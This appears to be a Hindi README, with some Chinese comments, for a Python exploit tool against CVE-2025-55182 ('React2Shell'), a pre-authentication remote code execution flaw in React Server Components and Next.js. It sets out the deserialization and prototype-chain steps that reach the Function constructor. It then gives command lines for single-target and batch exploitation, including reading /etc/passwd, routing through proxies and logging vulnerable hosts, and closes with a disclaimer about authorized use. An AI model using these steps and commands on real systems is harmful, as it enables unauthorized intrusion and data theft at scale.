CVE-2025-55182 - React2Shell

React Server Components / Next.js प्री-ऑथेंटिकेशन रिमोट कोड निष्पादन

प्रभावित दायरा

भेद्यता का सिद्धांत

यह भेद्यता React Server Components (RSC) Flight प्रोटोकॉल में डिसीरियलाइज़ेशन दोष का शोषण करती है, और दुर्भावनापूर्ण multipart/form-data अनुरोध बनाकर अनधिकृत रिमोट कोड निष्पादन प्राप्त करती है। पूर्ण शोषण श्रृंखला निम्नलिखित है:

1. Next-Action अनुरोध हेडर के साथ POST multipart/form-data का उपयोग करके Server Action पथ ट्रिगर करें
2. Chunk "0" में सावधानीपूर्वक निर्मित JSON ऑब्जेक्ट (गैर-ऐरे रैपिंग) होता है, $1:__proto__:then PENDING स्थिति वाले Chunk 1 ऑब्जेक्ट पर Chunk.prototype.then तक पहुंचता है, जिससे यह thenable बन जाता है
3. $1:constructor:constructor प्रोटोटाइप श्रृंखला के माध्यम से Function कंस्ट्रक्टर के रूप में हल होता है
4. Chunk.prototype.then initializeModelChunk को कॉल करके value फ़ील्ड '{"then":"$B0"}' को पार्स करता है
5. $B0 ब्लॉब पार्सिंग _formData.get(_prefix + "0") को कॉल करता है, अर्थात Function(code + "0")

निर्भरता स्थापना

pip install requests[socks]

स्क्रिप्ट जब निर्भरताएँ गायब होती हैं, तो स्वचालित रूप से requests और PySocks स्थापित करने का प्रयास करती है।

उपयोग विधि

एकल लक्ष्य RCE

python CVE-2025-55182.py -u http://target:3000 -c "id"

बैच शोषण

python CVE-2025-55182.py -f targets.txt -c "cat /etc/passwd" -o results.txt

केवल भेद्यता का पता लगाएं (कमांड निष्पादित न करें)

python CVE-2025-55182.py -u http://target:3000 --check
python CVE-2025-55182.py -f targets.txt --check -o vuln_hosts.txt

प्रॉक्सी का उपयोग

# HTTP 代理
python CVE-2025-55182.py -u http://target:3000 -c "whoami" --proxy http://127.0.0.1:8080

# SOCKS5 代理
python CVE-2025-55182.py -f targets.txt -c "id" --proxy socks5://127.0.0.1:1080

डिबग मोड

python CVE-2025-55182.py -u http://target:3000 -c "id" -v

पूर्ण पैरामीटर विवरण

आउटपुट विवरण

• VULN — लक्ष्य में भेद्यता मौजूद है, कमांड निष्पादन परिणाम सफलतापूर्वक प्राप्त हुआ
• MAYBE — संभवतः भेद्यता मौजूद है (जैसे रीड टाइमआउट)
• ERR — कनेक्शन त्रुटि
• SAFE — कोई भेद्यता नहीं पाई गई

बैच स्कैन परिणाम -o द्वारा निर्दिष्ट आउटपुट फ़ाइल में लिखे जाएंगे, और केवल पुष्टिकृत भेद्यता वाले लक्ष्य दर्ज किए जाएंगे।

targets.txt प्रारूप उदाहरण

http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# 注释行会被忽略

अस्वीकरण

यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और सुरक्षा अनुसंधान उद्देश्यों के लिए है। उपयोगकर्ता को यह सुनिश्चित करना होगा कि उन्होंने लक्ष्य सिस्टम के स्वामी से स्पष्ट प्राधिकरण प्राप्त कर लिया है। बिना प्राधिकरण के सिस्टम पर पेनेट्रेशन परीक्षण करना अवैध है, और उपयोगकर्ता को सभी कानूनी जिम्मेदारी स्वयं वहन करनी होगी।